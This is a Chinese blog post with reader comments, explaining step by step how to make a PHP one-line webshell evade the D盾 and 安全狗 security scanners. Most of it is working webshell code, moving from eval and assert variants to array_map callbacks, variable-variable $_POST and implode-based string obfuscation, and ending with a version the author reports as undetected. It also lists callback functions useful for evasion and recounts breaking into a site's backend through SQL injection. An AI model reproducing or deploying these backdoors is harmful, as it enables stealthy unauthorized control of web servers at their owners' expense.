webshell免杀思路

Aman
评论:4 阅读:6680
时间:2021-6-7 11:20:34 分类: 优秀文章

博客又开通了,不能没有内容,水一篇是一篇

无论你是小白亦或是大的不能再大的佬,一款免杀的webshell是必备的。

遥想当年,在午夜2点,意气风发的我随着“and 1=1”的成功,进入到某站后台,然后对着百度开始绕过后缀上传,然而被突如其来的狗咬了 一口,那滋味别提多难受了。于是我开始走上了乞讨之路,只为从佬的手里借一下打狗棒。

后来我发现,webshell免杀其实挺简单的,由于本人只了解一些PHP,其他语言尚未涉猎,SO,暂时只探讨PHP。

首先来看一下正常的一句话。

<?php eval($_POST['aman']);?>

D盾报毒:

他既然报eval后门那么久处理eval,先来简单的混淆(由于eval不支持变量调用,这里换成了assert)

<?php
    $a="assert";
    $a($_POST['aman']);
?>

D盾报毒:

报毒变量函数后门我们在混淆下assert
<?php
function aman($a)
{
$a($_POST['aman']);
}aman(assert);
?>
D盾报毒:

可见这里已经降低危险级别了(这是好事),不过笔者发现一个奇怪的现象。如果把以上代码压缩成一行即:

<?php function aman($a){$a($_POST['aman']);}aman(assert); ?>

D盾就不报毒。

可能D盾的作者写规则的时候没考虑到。笔者还特意去下载了安全狗,果不其然安全狗正常报毒(不报毒才不正常)。

忽略上面小插曲,然后我们再想办法绕过“可疑变量函数”,至于方法就是利用回调函数。一下是笔者整理的PHP的回调函数

call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk_recursive()

我们这里采用“array_map”,因为我刚好在前端时间用过这个。用法传送门

<?php
    @array_map("assert", $_POST);
?>

D盾报毒:array_map参数xxxx,为了找到原因我们做一下测试

写法一(改变assert为asse,目的是为了测试是否因为assert导致的):报毒

<?php
@array_map("asse", $_POST);
?>

写法二(测试改变第二个参数 $_POST,目的是为了测试是否因为$_POST导致的):报毒

<?php
    $a = "_POST";
    @array_map("assert", $$a);
?>


写法三(同时改变两个参数):不报毒

<?php
    $a = "_POST";
    @array_map("asse", $$a);
?>

原因找到了是因为$_POST和assert导致的,$_POST写法三已经绕过,接下来处理assert。

<?php
    $a = "_POST";
    @array_map(implode('',['a','s','s','e','r','t']), $$a);
?>

D盾免杀,安全狗免杀

总结:其实比起shellcode或者exe来讲 webshell算是入门级的免杀操作了(仅指php),重点就在于利用排除法,找到检测的关键点,一点点的针对性绕过。
好了,水文章完毕,谢谢大家!

标签: 免杀 PHP

评论
阿巴阿巴 2021-09-28 08:25

如果waf屏蔽了$该怎么绕啊楼主

回复
Aman 2022-03-21 14:31

@阿巴阿巴:define

回复

波波 2021-06-22 06:47

这句话的怎么连接啊,楼主

回复
Aman 2021-06-24 19:58

@波波:密码随意

回复
Powered by emlog pro © 主题Aman 豫ICP备16010520号-1